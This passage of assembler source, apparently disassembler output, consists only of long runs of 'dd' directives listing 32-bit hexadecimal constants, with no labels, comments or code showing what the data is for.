		dd 47D7E6C4h, 0BE215904h, 901305FDh, 0BB55D55Bh, 0F50C8E0h
		dd 0D0F6F2B0h, 6A379E4Dh, 4AA6ACA9h, 0F1AA2BBDh, 58D56391h
		dd 60F6451Dh, 21315D80h, 0F5435EF3h, 276DB5D0h,	6F06463h
		dd 0E3DD2A0h, 51090216h, 37E35104h, 207E7B14h, 0BD0527B0h
		dd 227220C7h, 3E5EB5EFh, 41E57E2h, 89918938h, 3A37F3E1h
		dd 5F50BB33h, 0C1DC9096h, 94A4819h, 8DDAB181h, 0FA205821h
		dd 738027E9h, 0E970CDF9h, 6880BD50h, 5D252DBEh,	0F109160Ch
		dd 13FF565Eh, 0EAF77F3Fh, 7067728Ch, 4015E156h,	0CB59A071h
		dd 0E6B75819h, 68570F9Ch, 4F296C94h, 8A1D84D0h,	67EE5061h
		dd 6617022Dh, 71145F51h, 0B4E9B350h, 0F480900Eh, 7EA616A5h
		dd 0FF1EC558h, 5203C0C0h, 5DE9BFB6h, 0BD1C2E9Eh, 554C8019h
		dd 4ACAB33Ah, 680888AAh, 0F5174F2Ah, 72A6F14Ah,	571A257Eh
		dd 0E970C676h, 0A4FFD67Fh, 599FE766h, 1FFD423Fh, 5C55E846h
		dd 0AB443A92h, 0C4AB2EE9h, 0A728FED9h, 8449F3B8h, 83FA652Eh
		dd 0FA84719Eh, 0BB3D7FCh, 25DAFD58h, 0D5628BA6h, 0D524F265h
		dd 1743588h, 0E1C0C9FEh, 58FC7F05h, 72054327h, 3B91A8F8h
		dd 89C62541h, 0E0715FE0h, 56ECC04Bh, 0E5E59FFDh, 13551B08h
		dd 4ABCAC5Ch, 0A2B191BCh, 4E1B2D69h, 2DF6CBAFh,	0AD0459C3h
		dd 5A3E1051h, 0ED291CB4h, 907E1531h, 8120478Eh,	6F9206C1h
		dd 25603FBEh, 838BAB68h, 0B6E725Bh, 9544E933h, 7BE71120h
		dd 0A8C658B4h, 9D0FE3F3h, 72774162h, 20399034h,	0D09F311Fh
		dd 5A949559h, 489474A0h, 4B327600h, 0B771B850h,	84CD4F89h
		dd 4AEDEFE6h, 0ED3C8785h, 0FD76C071h, 555528Ah,	626808BDh
		dd 0E6F90F12h, 0FA126CCFh, 2DF0EDC0h, 0CF2616EEh, 0C0C4217Ah
		dd 49D58787h, 96FB4450h
		dd 0BFEAFC07h, 2909BBD3h, 624AF419h, 0C1901CE4h, 0EB4B3F4Eh
		dd 123E86E1h, 895CB9FBh, 0BDE878FCh, 0F5A59165h, 947FEA04h
		dd 64B9EB12h, 4EC1C2A4h, 1409C8E4h, 0F85633FBh,	0DF310BE3h
		dd 4509295Bh, 0AAFEACE2h, 1D685150h, 6CA908D9h,	163C0C2Fh
		dd 1D4319EFh, 652BBE00h, 0EE81376Eh, 0D80D2769h, 8B419F6Ch
		dd 9E2E7C3Bh, 74AF1702h, 22A06056h, 6A801352h, 400AAC01h
		dd 0C4B8B08h, 0F0962CEAh, 7E988D5Eh, 70AE2F68h,	56409E5Bh
		dd 976DDFE9h, 0EC05D1E6h, 29471F58h, 40599ABh, 0CFBCBE0Ch
		dd 7576FDCh, 8A05C42h, 0FBF575Bh, 0AA03732h, 93167C6Dh
		dd 0F0BD68EAh, 1A21BBD3h, 0FF04CDDAh, 5F2A3EA1h, 24ED48F2h
		dd 93E78007h, 42B2CF32h, 52DF203Dh, 2D5862BAh, 0CE0B53F5h
		dd 0E2DF605h, 0ACD7590Ah, 26F9C899h, 667C089Bh,	49A9BE13h
		dd 0C4AB4A7Ah, 0A0AAB96Fh, 0B586E952h, 3FEF27C9h, 0D6BF5397h
		dd 84F73E90h, 0C2763DF8h, 0B7370F92h, 4EB5507Ch, 2EE42212h
		dd 0F50546E9h, 0E8391C9Ah, 720574DCh, 4FE91A76h, 5AB07EF0h
		dd 2009F1BFh, 68178E9Eh, 0A4E31BA6h, 0EF96323Eh, 0C1B4F1B8h
		dd 7A2A9ED1h, 3C2CF0ECh, 83C8D75Ah, 0F780D2E4h,	2CEBCD1h
		dd 0F4E11DFh, 0B890ADDh, 2667B440h, 74012362h, 38AA0C20h
		dd 5F6810DDh, 8B3BDE01h, 0B9473A3h, 3372504Eh, 83F4DA69h
		dd 269E9EE2h, 44A580EFh, 0F0A8BFF8h, 5D6C939Fh,	0CCBB4C11h
		dd 955B0Ah, 0F6E586DDh,	0BE08D2D4h, 1FAAEFD5h, 0F432E4Bh
		dd 58A6F331h, 0BB001A5Ch, 25FB7296h, 906DDBEh, 0DE314E86h
		dd 0C386BD2h, 3DFA5B89h, 4602AF80h, 67B12248h, 0AD70A639h
		dd 4CC254h, 1D7377EEh, 0EE2925C0h, 0C37EA164h, 0E421BBB5h
		dd 68130C76h, 30350653h, 0FBB9C105h, 58168A8Ah,	0AC0F0057h
		dd 0E939E127h, 480C232Dh, 827AB30Ch, 360255FEh,	43094D78h
		dd 6271F19Fh, 4FFC932Fh, 0FDA8295Fh, 7316A0D3h,	6862ED96h
		dd 0BB14D8A1h, 95FE3EC2h, 0FC97EACCh, 0C02D961Dh, 2B73554h
		dd 5817FD27h, 0E060133Ah, 0C350EF39h, 0F583408h, 0C491AEAh
		dd 0A29B2975h, 3D958CAh, 64B9C628h, 0EAE1838Fh,	0A87637D8h
		dd 905AD129h, 70361C70h, 0C7FE511h, 3CF70868h, 5E4C87D2h
		dd 0E61A2202h, 1C32175h, 9301323Ch, 31B834E0h, 26E8FD5Fh
		dd 561652D1h, 7B9CFA07h, 0E2874A45h, 0F4BEDB74h, 65BA597Ah
		dd 24BA5E4Eh, 4098AB61h, 12729E6Bh, 0A452AD58h,	0E98290A8h
		dd 0E7A95DA7h, 69C26682h, 40EEBF04h, 68565705h,	4C316512h
		dd 0E13E2403h, 5B045B32h, 0EC740610h, 61E80929h, 93F50AEh
		dd 0E717E48Ah, 0E3860DDh, 0A63F9179h, 8C590817h, 0C1EDE32Dh
		dd 8A2E483Ah, 0DE51306h, 0BD25AF8h, 0BB570CD9h,	54F4DF9Ch
		dd 0B402F094h, 8902AFBFh, 0F328E0FFh, 0BACC1EC9h, 81EC6EA7h
		dd 0C00C5EEFh, 10AB2A1Eh, 580508A5h, 0E80277E9h, 0E8AAB477h
		dd 4A6E5AAh, 63EFA7Ch, 0AEE9282Dh, 4390C155h, 1A4BD82Fh
		dd 0C07AA2A0h, 66325D69h, 9A700057h, 4B156F61h,	0F5B84045h
		dd 3EF10F3Dh, 6AED09A0h, 26605718h, 252C850Ch, 9E612793h
		dd 0C869CE83h, 2BC7E150h, 0DAC25940h, 0B1473C82h, 0E4D81775h
		dd 345FE991h, 0BF9306A0h, 607A8F5Ch, 33415C55h,	0A0AA5D03h
		dd 8E46B899h, 0A543C484h, 41C4E905h, 0CC533A8h,	4CB4AECAh
		dd 0AC3417D6h, 0C8E826h, 0E457A505h, 4AF3E92Fh,	0F00EB860h
		dd 9788F901h, 681CFEDAh, 0DD2550D7h, 249E0C36h,	240A6588h
		dd 29EB2C5Dh, 9EDFAD48h, 38E913BBh, 0C2CA34DBh,	1AE8EEDCh
		dd 2F1205ADh, 710DBE41h, 98D4EFB4h, 6832C3C9h, 152D3AF2h
		dd 0B8DC80B1h, 1C54273Dh, 0C070056Eh, 0E10D5E16h, 25F4E46Ah
		dd 44156109h, 0D824FF55h, 309FE5B5h, 372739EDh,	5815E77h
		dd 541A8068h, 0B200427Eh, 0E9787E7Fh, 49B7EE4Bh, 0BC5486B5h
		dd 0E529CF01h, 84ECEFEAh, 0D78E8273h, 6F827EE2h, 0BAEA23FFh
		dd 0FC86CE74h, 5216CC08h, 5803B560h, 0D7874C04h, 9D064042h
		dd 12D2EC01h, 9E3D166h,	0D2DE07E7h, 0C4F46100h,	9553E93Dh
		dd 99FDE08h, 0AC7209Ah,	0F7256A8Ah, 0C94C5EC9h,	5CE4DA74h
		dd 0FE1FB4ABh, 0CC04C472h, 8053B151h, 0C308B6C3h, 12B3B959h
		dd 0F31DB43h, 7FDEFF1h,	8D53BF52h, 9261F2BEh, 0B12F1BB2h
		dd 7B9568F0h, 25DD2AF8h, 73597E60h, 34B4C63h, 3D7BC36Dh
		dd 90DAA7A9h, 6C7F42EAh, 0B1C20155h, 1AC1685h, 2CB86ED5h
		dd 30BBBAB0h, 0E89D26E8h, 1870CA3Bh, 420C965Eh,	69202184h
		dd 5A8A98F2h, 7A33F11Eh, 31034FDFh, 679CE9F8h, 169AFE85h
		dd 50C8F84Eh, 0A897A49Bh, 4A3C8C14h, 55C902A3h,	0C19C6C55h
		dd 8F16D1C4h, 0D3186B59h, 670D2B8h, 0D7E925A9h,	0C54A2F66h
		dd 0A1AEF224h, 7D8B2D01h, 7D09664Fh, 4FD766ACh,	0A10816B1h
		dd 518BD0B6h, 0C5ECB57Ah, 8E0FC4Eh, 0E4E91284h,	53E9C8D3h
		dd 25455958h, 70C4097Eh, 293B49CAh, 7304B950h, 4E317B59h
		dd 0EFD1C5B8h, 802C45D8h, 7782F323h, 81295A30h,	48D15F80h
		dd 90079FEAh, 0E5D7256Dh, 80A814h, 447F7768h, 4815E33h
		dd 6D0C52F6h, 81BC8440h, 7A6A1h, 302FA0BEh, 9D2652A4h
		dd 3B4B407Dh, 0A9E9FF04h, 0C9B966D0h, 37572D6Fh, 0F497B878h
		dd 0DE9F006h, 5A186B60h, 0B15BF908h, 0B57A6EFh,	0F591379Bh
		dd 0E49D54DDh, 888898EDh, 805A09F1h, 0B507F9E1h, 6DF3608Ch
		dd 0F998D928h, 0F902D241h, 0F68C4207h, 455F2582h, 0C518A715h
		dd 0FD824E02h, 7CA59C73h, 64DFC9BEh, 0CF699EA4h, 3E6CD76Dh
		dd 89612E7h, 0AC160A28h, 0B700EA8Ah, 68CFFE50h,	51B45643h
		dd 0F8E5B043h, 98BF34F4h, 0B5177039h, 2C1DCA73h, 0E012E9C6h
		dd 0E2862784h, 0E710A554h, 654B9074h, 0EEFE185Bh, 7CC79EC5h
		dd 66B35D34h, 0EE597F15h, 0D9507601h, 2ACF2971h, 36AAAF81h
		dd 2ED2AA05h, 6E94F874h, 5F3E9452h, 44C8A5F5h, 68090504h
		dd 805C2C1Dh, 8137CDBh,	9DFE956Eh, 0F45E9703h, 111C0232h
		dd 1039571h, 0FB52E382h, 0E8BF8709h, 0C6236082h, 3664B9Eh
		dd 57302E1h, 0F2401BBh,	4F3847E9h, 7395CBAAh, 0FA5AC775h
		dd 9B68A145h, 4E2FA088h, 0B769A6Ah, 4654B868h, 13973104h
		dd 7B75B2F9h, 0E6BD66E4h, 0E96716F2h, 4DA7E037h, 104E4577h
		dd 0FF21B009h, 20D245E0h, 7FCA1F48h, 80CB1624h,	0E015A5A7h
		dd 0C68FBB0h, 6E350B81h, 0C105EA36h, 8945A5F8h,	13582400h
		dd 0F2F7719Ch, 9870BF47h, 7B10B5ECh, 0F0615FAh,	2E1CEF52h
		dd 0B288B3Ch, 58CFE99Bh, 757BEA47h, 0F22EEDC5h,	89BF9742h
		dd 8225A6F1h, 6BB56887h, 1096F70Bh, 0C302AC96h,	0AF737A39h
		dd 4414FFCCh, 2DE9820Ch, 8B515FE6h, 0F115168Bh,	0F1188C30h
		dd 0D24DF622h, 278748A7h, 0E755CC2h, 0D50987EDh, 5AA3B78Eh
		dd 0AEECE830h, 52A7E3Dh, 0E813E970h, 56EC4ACCh,	5F1CB5Bh
		dd 753825B6h, 0CCCAE1EAh, 0E924FE9h, 905E79B5h,	0DB8E40FEh
		dd 0D000C441h, 7BE4523Dh, 84343869h, 0CF39BF5Fh, 0FA95532Fh
		dd 0D7B4AE9Ch, 0D6D0EE4Fh, 3F726768h, 17A66C2Fh, 14FDADFBh
		dd 3B9760F0h, 0F26414BFh, 1AE4158h, 68E77E4Bh, 276FB89h
		dd 3F42F14Bh, 0F8BEE8C4h, 6CBB5EF9h, 7E9F5670h,	5549302h
		dd 53EFF4D6h, 1814FD1h,	0E8781B4Bh, 78BAF195h, 34B7493Bh
		dd 7679B518h, 0F62BD3C0h, 2DC1584Eh, 51CD057Fh,	0EF23C575h
		dd 87FE5B90h, 20ADB010h, 5C9D2EE8h, 728949F6h, 535D4162h
		dd 386842A5h, 286BA5DFh
		dd 7D6B0A05h, 0B824CDE3h, 0CB298E8Dh, 0AB21EDE9h, 3EC20158h
		dd 0F054A98Bh, 0FC304BF8h, 0EA17E22Bh, 0B18B5FA3h, 0E759AACCh
		dd 0C2543488h, 0F62117FFh, 0F0E9C474h, 98437CA1h, 0EBCD990Dh
		dd 0F8E1F5D8h, 5C8EB0EAh, 5182C314h, 61F75B76h,	73882B5Dh
		dd 0C227C36Dh, 2DCA6054h, 0D5D8AA79h, 0BB0482E4h, 1DD5378Ch
		dd 78C3ECC4h, 8B115B8Eh, 0D6E54AB5h, 0FE4B0A38h, 0FE14A95h
		dd 0A130A82Fh, 0F105F729h, 4E97B13h, 9292EAD6h,	0D2B4FE5Fh
		dd 0E9695850h, 0CA8DDE10h, 15F058Eh, 7E5EBDFh, 0E920EADDh
		dd 0EF4E26B0h, 88DC0BE2h, 4B26775Bh, 26469027h,	6EA02F1Eh
		dd 223187D1h, 0BC050CA4h, 7B370525h, 81EF705Bh,	0BB362219h
		dd 303C053Fh, 43C22DA2h, 0FE0B801Ah, 278087D3h,	434CCA31h
		dd 935B2DEFh, 4E8062FEh, 68055170h, 2B012859h, 5A0C2F8h
		dd 8E0510BAh, 2DF8293Eh, 0C2150711h, 46645868h,	0B8501E7Bh
		dd 1A69CB28h, 5FA59580h, 0E9131E7Dh, 3DF9E25Eh,	0F4A93C89h
		dd 7D2332FFh, 155F8A68h, 9B062095h, 9035D50Ah, 71FB1220h
		dd 420BA0B9h, 4D482408h, 0A07F2D29h, 163D6887h,	0BD0D7B33h
		dd 1C095BD0h, 0FD264706h, 8AE90C68h, 80286E48h,	1F83C633h
		dd 2D7E9A31h, 6E895BDDh, 8B451C05h, 0BDE90B08h,	892FD478h
		dd 64F10233h, 88C1DF0Ch, 0CFF4B75Bh, 0AA251053h, 84875BFFh
		dd 7F554382h, 0E4D5BFBAh, 4DE92F09h, 0CC80A981h, 7ECEE134h
		dd 682DA2F3h, 0FD6475D4h, 0D8296601h, 93BDD055h, 8BA8724Bh
		dd 1A201093h, 642D5D80h, 85C5537h, 70528AAh, 212BE919h
		dd 0F0D15A24h, 9E4DF66Bh, 414D775Ah, 0CD80108Ah, 0A9E6A1C6h
		dd 0F5018913h, 5909BE5Eh, 14787FD9h, 2232E982h,	507767Ah
		dd 26A908F7h, 57382151h, 43E3D0FFh, 0E936169Bh,	5E66493Ah
		dd 0B8661F5Ch, 0DFF72D89h, 4501F9E4h, 0E95F3F7Fh, 10524F9h
		dd 0C22F2627h, 0EB6AEC33h, 27514F9Fh, 0E5804FEh, 51469D43h
		dd 7DCFE727h, 31EE2838h, 25503495h, 17603FE9h, 0A425685Bh
		dd 251D660Fh, 42B854DBh, 0D6B5AE68h, 7E044F53h,	0C81EFC3Dh
		dd 2373AF05h, 0D7061B09h, 94952E1Ch, 41699C6Ch,	6677DDE9h
		dd 263A1967h, 40FCE711h, 7C51AC63h, 0A3E5E50h, 4297D27Fh
		dd 82DEC059h, 450CDF82h, 0B67A5F0Eh, 0C7E1E918h, 1E902C20h
		dd 95B8B353h, 0EB4AA904h, 0AA027B8Dh, 4998F645h, 37B7E781h
		dd 82D5CAC1h, 244C769h,	42C2D6F7h, 53565DA3h, 3A7CF5F1h
		dd 0A036EED9h, 0DF1FD31Ah, 898DC557h, 967DF801h, 0B38ED62h
		dd 4CCFC4Fh, 274619FFh,	0E6057B80h, 17D84EB9h, 0B11CFC8Ah
		dd 0C61053F4h, 2F2449C3h, 0B900FE11h, 0E9141E41h, 0F8804E2Ah
		dd 0B668E042h, 0A1E5975Eh, 674BD728h, 4D0B3E56h, 1478D0h
		dd 0E5C010B5h, 57C58007h, 51866BFDh, 0DF275C1Ah, 0EB1D174Fh
		dd 0B5ADA7DCh, 0F38892E0h, 99FF5A4Bh, 45FE31F4h, 231A132h
		dd 0FB74A7D2h, 729CCE81h, 0E482413Bh, 88808967h, 0A781F9F7h
		dd 0F42F2265h, 0C861C276h, 27D17409h, 7A7AE8DEh, 0EA6816C0h
		dd 818EED01h, 3F414FB5h, 0C0F0AD70h, 6F35054Ch,	5F25515Ah
		dd 30E55787h, 24BEFF08h, 69850866h, 2D4C5425h, 0F3F805F7h
		dd 0BEB820FEh, 0CA254236h, 3CFD250h, 3B0624CEh,	9148FAE9h
		dd 4BB8003Ch, 0CB813093h, 0C37E1D3Fh, 1CF3814Ch, 38299B1Eh
		dd 50A2136Fh, 0F126ED8Ch, 0C5C511ECh, 0ABEB8192h, 83E8A156h
		dd 5CADA932h, 390CF3D5h, 1E591B65h, 8000A0F0h, 0ECC00AE4h
		dd 0FAC4FE02h, 68DA4027h, 92F2B74Eh, 5BB9F0D7h,	0A3A91628h
		dd 592F1B2Dh, 0AB689204h, 0CB5853CCh, 0B2557E4Ah, 0C5CACC95h
		dd 0A2835CD0h, 72778C7h, 0E34E7ED2h, 0F506EAB3h, 466D9DF1h
		dd 76572780h, 94551E6h,	0FBBCD17Bh, 515FC223h, 1AF56BD3h
		dd 2DE35071h, 0C7F24BE9h, 842D1206h, 9AE556Bh, 52733FC1h
		dd 2783A00h, 895CE17Ah,	94195F0Ch, 0AA0559C4h, 0E28C8671h
		dd 70C5B981h, 2D375528h, 5F79043Fh, 30E27482h, 1853BFC0h
		dd 9BC50164h, 4FEECBECh, 7B341765h, 58D53F89h, 886DB564h
		dd 60936885h, 0E1E3128Dh, 822B3E33h, 9BD6227Ah,	0FFD2D552h
		dd 5EBD7D27h, 7A8EF019h, 608918BDh, 90548A74h, 26B16CD2h
		dd 0AFF4C2E9h, 24AE96F7h, 8A4DD081h, 0A83501A0h, 39DF0FEBh
		dd 7BC46C87h, 0D8D6EC7Eh, 283D99AEh, 20D36DFBh,	660E6906h
		dd 93424505h, 35CEDD81h, 0CEA9D96h, 0F7271C1Dh,	8EBFD973h
		dd 0AF83EE23h, 42067201h, 0FC0A7D34h, 5DFAF121h, 0BE44F1FCh
		dd 0DC02CBF1h, 0C10BC80Dh, 0EA034CEEh, 0F64DD006h, 0E44F68E2h
		dd 0C2A77FF8h, 0A357F315h, 50CD2874h, 3A81BD25h, 0ED93F72h
		dd 46B02F09h, 14F7FB04h, 4ACB75CFh, 3EB5D65Eh, 93FA8C09h
		dd 0A6E9B481h, 9412B21h, 7A5E33F9h, 0E11DEFECh,	3D77BF2Ah
		dd 14D44ED4h, 7DBBADEFh, 23F2625Ah, 0BA39EF96h,	7D7E9C40h
		dd 0E96212FEh, 0AE8384DCh, 0EAD34CCAh, 9D2E0F6Dh, 1EA96FCAh
		dd 0CC109949h, 4AD44F20h, 8C02DB2h, 2D153955h, 4E2C670Bh
		dd 57426212h, 0DEAFC27Ch, 0EF4188CEh, 68E0302Dh, 0F21C4AE7h
		dd 0D053CB0Bh, 0CA4B0016h, 7715BB40h, 31581E27h, 37EC5B59h
		dd 8C399416h, 0B3D8E360h, 13472962h, 0B25D4812h, 0C8784E7h
		dd 11D9E7AAh, 9E40BBB0h, 0DC600F70h, 67A45816h,	82B8AEFEh
		dd 6380FAA5h, 17BCF281h, 0FEB050B2h, 0DC062F09h, 55869A64h
		dd 0ED1C51D5h, 4A96F84h, 448DE9E0h, 1B82C69Eh, 0D527B475h
		dd 85F359C3h, 5728EBF4h, 60B5FA52h, 0A9F11B15h,	7D62555Ch
		dd 0E1487B0Ch, 0BD3F29AAh, 22EB4F62h, 0DC57EFB0h, 215C70F5h
		dd 904A398h, 0C149E9C2h, 89C525E9h, 0DAD000FAh,	5357B951h
		dd 0E97BFB0Bh, 0C1E9E043h, 6076AEFh, 5D810B13h,	530E6EC4h
		dd 126CE268h, 56ED9CFAh, 15E5B01h, 5FF0E9DAh, 8668986Ah
		dd 823C1A44h, 2B63A959h, 0F7BB8418h, 72E75077h,	93BB73BEh
		dd 27BEE376h, 0ACC9F51Bh, 0B95A91h, 0BF5EA1h, 7F4CF581h
		dd 290D7B3Ah, 2453387Ah, 81411642h, 0BD5453BEh,	0CA5B6022h
		dd 50364558h, 98D19D26h, 0B754E26Ah, 79950ACEh,	17886066h
		dd 0F707010Fh, 0A66857DBh, 0E92EF300h, 9099704h, 563B49D7h
		dd 0E313E83Ah, 0A88D4A9Eh, 23E9E0F2h, 0BB0ACE40h, 6F646900h
		dd 0F509E381h, 241A4E39h, 0A4FB03C8h, 3A0077E6h, 88BD71CFh
		dd 958E30C5h, 0E992C6F4h, 87EC4513h, 164FFAD1h,	9029FFD7h
		dd 0E922E06Eh, 0A8002AFFh, 3A5FFEBAh, 0E06AC10Ch, 0CE013709h
		dd 0C26EC0F7h, 5CE375E5h, 0A2864629h, 68893912h, 7957DECEh
		dd 756389D9h, 8A3172FAh, 0BEB7CBCDh, 934F37F8h,	2CBD8839h
		dd 283BE961h, 0BF7B57C2h, 14BE0909h, 30489391h,	0CB03AA2Eh
		dd 59E96609h, 68F32307h, 58CC800Dh, 0E581025Dh,	6739234Bh
		dd 1F743140h, 0F83D1926h, 0FC068C3Eh, 61D1825h,	89C04127h
		dd 0F30936EBh, 0FC3421F8h, 0E5B803A5h, 40FD55FDh, 3DD1E293h
		dd 61E34A77h, 25B83402h, 70FDCCAAh, 0ABB369BFh,	0E907572Ch
		dd 3916CB5Eh, 0B840088Bh, 443D41EDh, 8797BF49h,	0B417EA91h
		dd 7937F46Eh, 0E44F125Ah, 3E6FE5F9h, 67A821D1h,	80EEF22Ah
		dd 0F07860BDh, 0C8F8C343h, 5B86FF3h, 7327452Dh,	8059C402h
		dd 2F60F9AAh, 671478B4h, 0FF32F79Dh, 6867F254h,	0E9FD0564h
		dd 18E6AFA4h, 66FE0696h, 0BF040D0Ah, 40D85B47h,	80EA78D5h
		dd 0FC307AB6h, 14176Bh,	4FEBC761h, 29FD1210h, 0EF9BD4F8h
		dd 4568F342h, 38FDDA1Bh
		dd 0BB4A4D91h, 0C5BFA099h, 0A58093AEh, 7494FD9h, 19B536C3h
		dd 214ADD06h, 8BC104BBh, 0AFB3A770h, 0BAF4BAACh, 0AEB514ACh
		dd 0A6AA1912h, 9706D05Eh, 31DFB1D1h, 7EAE8E6Eh,	39609634h
		dd 193D8A06h, 0F51B2F32h, 307EF4A1h, 5A04CBE5h,	0AC05D2A4h
		dd 44552C80h, 0E5414B29h, 5A080118h, 841381F7h,	1DF9F3Eh
		dd 0E9B1423Ch, 4AB33871h, 0F839C0AEh, 745C2762h, 72057EFBh
		dd 0F531700Fh, 8EDFD9BCh, 0CBECECEFh, 68E11CA8h, 627CCB34h
		dd 4987615h, 82261DA3h,	0A371E1EAh, 0F2E0E986h,	60C709E1h
		dd 0E4866C4Ch, 8835EEFh, 5D351C40h, 68EEF495h, 3DF100A4h
		dd 0E68081Ch, 0BF94CB5h, 77617248h, 1640A3F7h, 560BA239h
		dd 1909BC0Dh, 0C9D717A3h, 889F13D4h, 242B12E9h,	8BA100E0h
		dd 5120CAAAh, 0E9D9890Bh, 0FFB24A8Ch, 0DD252D7Bh, 75241EE4h
		dd 0B6601930h, 64EE802Ch, 0FA7C06EFh, 0E1F19762h, 63240E58h
		dd 25EF7731h, 6C7447DCh, 3FF8A463h, 0B1A5E81Fh,	0DA982C5Ah
		dd 4A904F5Bh, 3D0517C6h, 88A420ECh, 0D724BAC8h,	0F8305858h
		dd 69927195h, 0AA703C89h, 0FB380598h, 38FE5F62h, 0B66796E0h
		dd 3372E187h, 0ECC6D5D8h, 28224CBAh, 50F4B16Bh,	8DB45BA2h
		dd 61C82D80h, 0FA5F4D67h, 33009A16h, 0CA578F58h, 0BE661309h
		dd 6A5FC98h, 724137EEh,	98421540h, 4F8961Dh, 0EDEE8359h
		dd 70CB9F81h, 2985DD4h,	0E45063F0h, 2B5FB79Fh, 0F6195BB6h
		dd 3F5A736Eh, 7EA1BDFCh, 964001FCh, 0E16AA721h,	32FD6F78h
		dd 5E003B4Ch, 552EDB78h, 21A72BDh, 0C8F85371h, 1CC58055h
		dd 83F60418h, 2CE82861h, 1685FEA5h, 0E49E3182h,	204732E2h
		dd 5076AC5Ch, 0BD14C62Dh, 0C734A052h, 0E9AB1CB5h, 0EC1E84E0h
		dd 0C28E0012h, 8161DA60h, 138FF13Ah, 9EA681Fh, 0D280E154h
		dd 27043BC9h, 7AB9095Ah, 37053D01h, 51FAE92Fh, 0D45251FFh
		dd 0B0035021h, 58C620A9h, 0C9669BFEh, 0E6E510B4h, 1FAE12DBh
		dd 10C2E6CFh, 54C750DDh, 56CEA258h, 94F8A9A5h, 0CDB50048h
		dd 40C45742h, 33588E90h, 87708D3Bh, 4EFBCB3Fh, 0DA9331D9h
		dd 4B126021h, 14EA36Ah,	39706EBh, 31205456h, 2AE59FD4h
		dd 1E6EA0BFh, 98EF280h,	43F132A5h, 425E5D5Ah, 1CCA0189h
		dd 9586847Fh, 7079A776h, 0FB4B4328h, 0CFAE7C16h, 91680A20h
		dd 7669AD2Dh, 81FAA506h, 0AACBD5Eh, 0ACBA52C0h,	6241811h
		dd 7359883h, 383C4F80h,	0E247B454h, 0E7EA0979h,	0DB011858h
		dd 8F44944Ah, 41EB3842h, 0DA3F0A06h, 8DAE4AD1h,	0ACBD0250h
		dd 0B0B64FDh, 3BB1039Dh, 135F9885h, 0D2A5EA38h,	0B7B59D41h
		dd 7A47F67Bh, 0F41ACA25h, 4E04CBD9h, 2AE6EEEFh,	53D80970h
		dd 827785B7h, 86D55D4h,	56F40087h, 0DAF76741h, 0CA8104C7h
		dd 294B3121h, 69D78B40h, 0E9010BEBh, 3EA7F137h,	0B40D7332h
		dd 3CBC0C5Eh, 5C17899Eh, 5D624074h, 290409BBh, 64348FB3h
		dd 41D5F9DCh, 0A1F74C87h, 600B767Eh, 0C27907EAh, 73910469h
		dd 0CAA32CF8h, 0D0FE594Bh, 28F34F7Ah, 0AB02AC9Eh, 0D5D70CB0h
		dd 0EBB3392Fh, 53C787E2h, 0CA721C71h, 3538510Ch, 4EF7E60h
		dd 0D1770C7Ah, 29F9EAE2h, 701ED201h, 28B6E903h,	2C5A0980h
		dd 8E0E5D91h, 802AEE99h, 8066EFADh, 4B010DFDh, 1C98BBFEh
		dd 0F099D7Fh, 251016D7h, 99F17968h, 52E95482h, 0A3A9D0h
		dd 0E22FD369h, 255E9A0Ah, 0C9F58662h, 903AB2FBh, 1F4EC373h
		dd 0E118B52Dh, 845EB9Eh, 3F105A80h, 8E1753CBh, 0DC7108D6h
		dd 2F3B742Fh, 10FFA74h,	81160271h, 1360DCE9h, 0A584FF1Eh
		dd 0F5580809h, 0E9C17165h, 89783E0Fh, 81F3F4D7h, 0F7D98995h
		dd 5B1AA8EDh, 310FFCD3h, 70306F0Ch, 0FB090181h,	383AB168h
		dd 2856BFFFh, 0BF67812h, 42FE2B8Ch, 25AFA07Fh, 27174063h
		dd 1B0085E9h, 9A2DD029h, 4C670E39h, 3DBB5E46h, 0F68D3F33h
		dd 88EAC305h, 0F5BF6F6h, 0CADF8CF3h, 6B80608Bh,	0B63D9006h
		dd 267F53B7h, 0C0C3013Dh, 0CD8005E6h, 29E9016Eh, 0D963137Bh
		dd 2E74907Eh, 0CE0D1758h, 0EC0A744Ah, 0F097C950h, 975E7EC1h
		dd 0ACBFB8D5h, 33C5BD26h, 41312B27h, 0B3A57C8Bh, 0FD174EF6h
		dd 0F304CFACh, 0BAD9302Fh, 38F970DDh, 5E64A705h, 46012735h
		dd 7C9C23B2h, 296EE70h,	0C107F838h, 774006EEh, 0D43F42FAh
		dd 9401FA5Eh, 0E9624147h, 0CA6A0801h, 0F02C1618h, 93B337AEh
		dd 1C071E45h, 587B2EBFh, 85D56079h, 5E0E254Ch, 0F0CF9E07h
		dd 4F437973h, 0F3481EC3h, 19ECF478h, 0CA275E48h, 0F42F8054h
		dd 40391684h, 4463B989h, 0D29F5758h, 0BB990978h, 31F6A8A7h
		dd 4A9D4E1Ah, 4589C07Fh, 362C3F62h, 0FC0AA013h,	0C496C5CEh
		dd 53BB8CBAh, 0E3E30963h, 2CADB1A4h, 1CD0CBD9h,	0E95509AAh
		dd 0A4C60A08h, 2A245AB5h, 20880739h, 9AC1B137h,	26CE1B13h
		dd 4B87FC2Fh, 4603092Dh, 439FEA4h, 250397C3h, 51B28021h
		dd 330BFC71h, 6805D1E9h, 5E69B358h, 4290B185h, 81490125h
		dd 93964358h, 0F55FF9E4h, 21B10AB8h, 8FCB2BD1h,	0C6DAA427h
		dd 0FCB51C7Eh, 41615A45h, 0B3CE3B4Eh, 69183C4Ch, 2EEF8506h
		dd 8BB25D05h, 8BAFFA89h, 0D1DA2588h, 0C47417F3h, 59EF01EEh
		dd 2A6D6C68h, 0FED738E2h, 758B9C95h, 82BB530Fh,	0E95086A1h
		dd 4FEE6C75h, 0B4C5EAF9h, 0C4F3F854h, 98EA0FB8h, 144B0CBAh
		dd 0CF1721B3h, 0C566B82Fh, 20EF68A4h, 0D2A1A07Eh, 952105Eh
		dd 75850310h, 664EF092h, 71D67881h, 1CC5B87Ah, 0E62D26E7h
		dd 420445AFh, 0A0D567B5h, 0C828DF8Eh, 403E9859h, 519F5E5Dh
		dd 0AFEFC27Ch, 7057B800h, 35683927h, 47516E8Bh,	78E3508h
		dd 5B1C7D79h, 621BE05Fh, 6E153A22h, 890C9F80h, 0E9C729B5h
		dd 1B35E62Dh, 6BCE16D9h, 8218E8CCh, 407490CBh, 0FA6C3F8h
		dd 168763Bh, 8651072h, 66FE592Fh, 0F6F70272h, 8F6C5D19h
		dd 12C71BBFh, 0EEDD0522h, 0EE029EA2h, 72317C4Fh, 0C6043678h
		dd 492BCB35h, 8271C4ABh, 0D9DFE1B3h, 8FEB1FCBh,	0CEAB200Eh
